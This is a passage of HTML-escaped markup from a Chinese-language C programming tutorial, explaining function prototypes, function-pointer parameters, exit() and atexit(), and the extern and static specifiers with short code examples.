class=\"number\"\u003e10\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e为了简洁易读,一般情况下,函数名前面都不加\u003ccode\u003e*\u003c/code\u003e和\u003ccode\u003e\u0026amp;\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e这种特性的一个应用是,如果一个函数的参数或返回值,也是一个函数,那么函数原型可以写成下面这样。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003ecompute\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e (*myfunc)(\u003cspan class=\"type\"\u003eint\u003c/span\u003e), \u003cspan class=\"type\"\u003eint\u003c/span\u003e, \u003cspan class=\"type\"\u003eint\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例可以清晰地表明,函数\u003ccode\u003ecompute()\u003c/code\u003e的第一个参数也是一个函数。\u003c/p\u003e\u003ch3 id=\"函数原型\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%87%BD%E6%95%B0%E5%8E%9F%E5%9E%8B\" class=\"headerlink\" title=\"函数原型\"\u003e\u003c/a\u003e函数原型\u003c/h3\u003e\u003cp\u003e前面说过,函数必须先声明,后使用。由于程序总是先运行\u003ccode\u003emain()\u003c/code\u003e函数,导致所有其他函数都必须在\u003ccode\u003emain()\u003c/code\u003e函数之前声明。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003efunc1\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003efunc2\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e func1();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e func2();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码中,\u003ccode\u003emain()\u003c/code\u003e函数必须在最后声明,否则编译时会产生警告,找不到\u003ccode\u003efunc1()\u003c/code\u003e或\u003ccode\u003efunc2()\u003c/code\u003e的声明。\u003c/p\u003e\u003cp\u003e但是,\u003ccode\u003emain()\u003c/code\u003e是整个程序的入口,也是主要逻辑,放在最前面比较好。另一方面,对于函数较多的程序,保证每个函数的顺序正确,会变得很麻烦。\u003c/p\u003e\u003cp\u003eC 语言提供的解决方法是,只要在程序开头处给出函数原型,函数就可以先使用、后声明。所谓函数原型,就是提前告诉编译器,每个函数的返回类型和参数类型。其他信息都不需要,也不用包括函数体,具体的函数实现可以后面再补上。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003etwice\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e num)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e twice(num);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003etwice\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e num)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e2\u003c/span\u003e * num;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,函数\u003ccode\u003etwice()\u003c/code\u003e的实现是放在\u003ccode\u003emain()\u003c/code\u003e后面,但是代码头部先给出了函数原型,所以可以正确编译。只要提前给出函数原型,函数具体的实现放在哪里,就不重要了。\u003c/p\u003e\u003cp\u003e函数原型包括参数名也可以,虽然这样对于编译器是多余的,但是阅读代码的时候,可能有助于理解函数的意图。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003etwice\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003etwice\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e num)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003etwice\u003c/code\u003e函数的参数名\u003ccode\u003enum\u003c/code\u003e,无论是否出现在原型里面,都是可以的。\u003c/p\u003e\u003cp\u003e注意,函数原型必须以分号结尾。\u003c/p\u003e\u003cp\u003e一般来说,每个源码文件的头部,都会给出当前脚本使用的所有函数的原型。\u003c/p\u003e\u003ch3 id=\"exit\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#exit\" class=\"headerlink\" title=\"exit()\"\u003e\u003c/a\u003eexit()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003eexit()\u003c/code\u003e函数用来终止整个程序的运行。一旦执行到该函数,程序就会立即结束。该函数的原型定义在头文件\u003ccode\u003estdlib.h\u003c/code\u003e里面。\u003c/p\u003e\u003cp\u003e\u003ccode\u003eexit()\u003c/code\u003e可以向程序外部返回一个值,它的参数就是程序的返回值。一般来说,使用两个常量作为它的参数:\u003ccode\u003eEXIT_SUCCESS\u003c/code\u003e(相当于 0)表示程序运行成功,\u003ccode\u003eEXIT_FAILURE\u003c/code\u003e(相当于 1)表示程序异常中止。这两个常数也是定义在\u003ccode\u003estdlib.h\u003c/code\u003e里面。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 程序运行成功\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于 exit(0);\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(EXIT_SUCCESS);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 程序异常中止\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于 exit(1);\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(EXIT_FAILURE);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e在\u003ccode\u003emain()\u003c/code\u003e函数里面,\u003ccode\u003eexit()\u003c/code\u003e等价于使用\u003ccode\u003ereturn\u003c/code\u003e语句。其他函数使用\u003ccode\u003eexit()\u003c/code\u003e,就是终止整个程序的运行,没有其他作用。\u003c/p\u003e\u003cp\u003eC 语言还提供了一个\u003ccode\u003eatexit()\u003c/code\u003e函数,用来登记\u003ccode\u003eexit()\u003c/code\u003e执行时额外执行的函数,用来做一些退出程序时的收尾工作。该函数的原型也是定义在头文件\u003ccode\u003estdlib.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eatexit\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e (*func)(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e))\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003eatexit()\u003c/code\u003e的参数是一个函数指针。注意,它的参数函数(上例的\u003ccode\u003eprint\u003c/code\u003e)不能接受参数,也不能有返回值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003eprint\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;something wrong!\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eatexit(print);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(EXIT_FAILURE);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003eexit()\u003c/code\u003e执行时会先自动调用\u003ccode\u003eatexit()\u003c/code\u003e注册的\u003ccode\u003eprint()\u003c/code\u003e函数,然后再终止程序。\u003c/p\u003e\u003ch3 id=\"函数说明符\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%87%BD%E6%95%B0%E8%AF%B4%E6%98%8E%E7%AC%A6\" class=\"headerlink\" title=\"函数说明符\"\u003e\u003c/a\u003e函数说明符\u003c/h3\u003e\u003cp\u003eC 语言提供了一些函数说明符,让函数用法更加明确。\u003c/p\u003e\u003ch4 id=\"extern-说明符\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#extern-%E8%AF%B4%E6%98%8E%E7%AC%A6\" class=\"headerlink\" title=\"extern 说明符\"\u003e\u003c/a\u003eextern 说明符\u003c/h4\u003e\u003cp\u003e对于多文件的项目,源码文件会用到其他文件声明的函数。这时,当前文件里面,需要给出外部函数的原型,并用\u003ccode\u003eextern\u003c/code\u003e说明该函数的定义来自其他文件。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eextern\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003efoo\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e arg1, \u003cspan class=\"type\"\u003echar\u003c/span\u003e arg2)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e a = foo(\u003cspan class=\"number\"\u003e2\u003c/span\u003e, \u003cspan class=\"number\"\u003e3\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// ...\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,函数\u003ccode\u003efoo()\u003c/code\u003e定义在其他文件,\u003ccode\u003eextern\u003c/code\u003e告诉编译器当前文件不包含该函数的定义。\u003c/p\u003e\u003cp\u003e不过,由于函数原型默认就是\u003ccode\u003eextern\u003c/code\u003e,所以这里不加\u003ccode\u003eextern\u003c/code\u003e,效果是一样的。\u003c/p\u003e\u003ch4 id=\"static-说明符\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#static-%E8%AF%B4%E6%98%8E%E7%AC%A6\" class=\"headerlink\" title=\"static 说明符\"\u003e\u003c/a\u003estatic 说明符\u003c/h4\u003e\u003cp\u003e默认情况下,每次调用函数时,函数的内部变量都会重新初始化,不会保留上一次运行的值。\u003ccode\u003estatic\u003c/code\u003e说明符可以改变这种行为。\u003c/p\u003e\u003cp\u003e\u003ccode\u003estatic\u003c/code\u003e用于函数内部声明变量时,表示该变量只需要初始化一次,不需要在每次调用时都进行初始化。也就是说,它的值在两次调用之间保持不变。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003ecounter\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003estatic\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e count = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 只初始化一次\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, count);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e count++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e counter(); \u003cspan class=\"comment\"\u003e// 1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e counter(); \u003cspan class=\"comment\"\u003e// 2\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e counter(); \u003cspan class=\"comment\"\u003e// 3\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e counter(); \u003cspan class=\"comment\"\u003e// 4\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,函数\u003ccode\u003ecounter()\u003c/code\u003e的内部变量\u003ccode\u003ecount\u003c/code\u003e,使用\u003ccode\u003estatic\u003c/code\u003e说明符修饰,表明这个变量只初始化一次,以后每次调用时都会使用上一次的值,造成递增的效果。\u003c/p\u003e\u003cp\u003e注意,\u003ccode\u003estatic\u003c/code\u003e修饰的变量初始化时,只能赋值为常量,不能赋值为变量。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e3\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003estatic\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e j = i; \u003cspan class=\"comment\"\u003e// 错误\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003ej\u003c/code\u003e属于静态变量,初始化时不能赋值为另一个变量\u003ccode\u003ei\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e另外,在块作用域中,\u003ccode\u003estatic\u003c/code\u003e声明的变量有默认值\u003ccode\u003e0\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003estatic\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e foo;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan 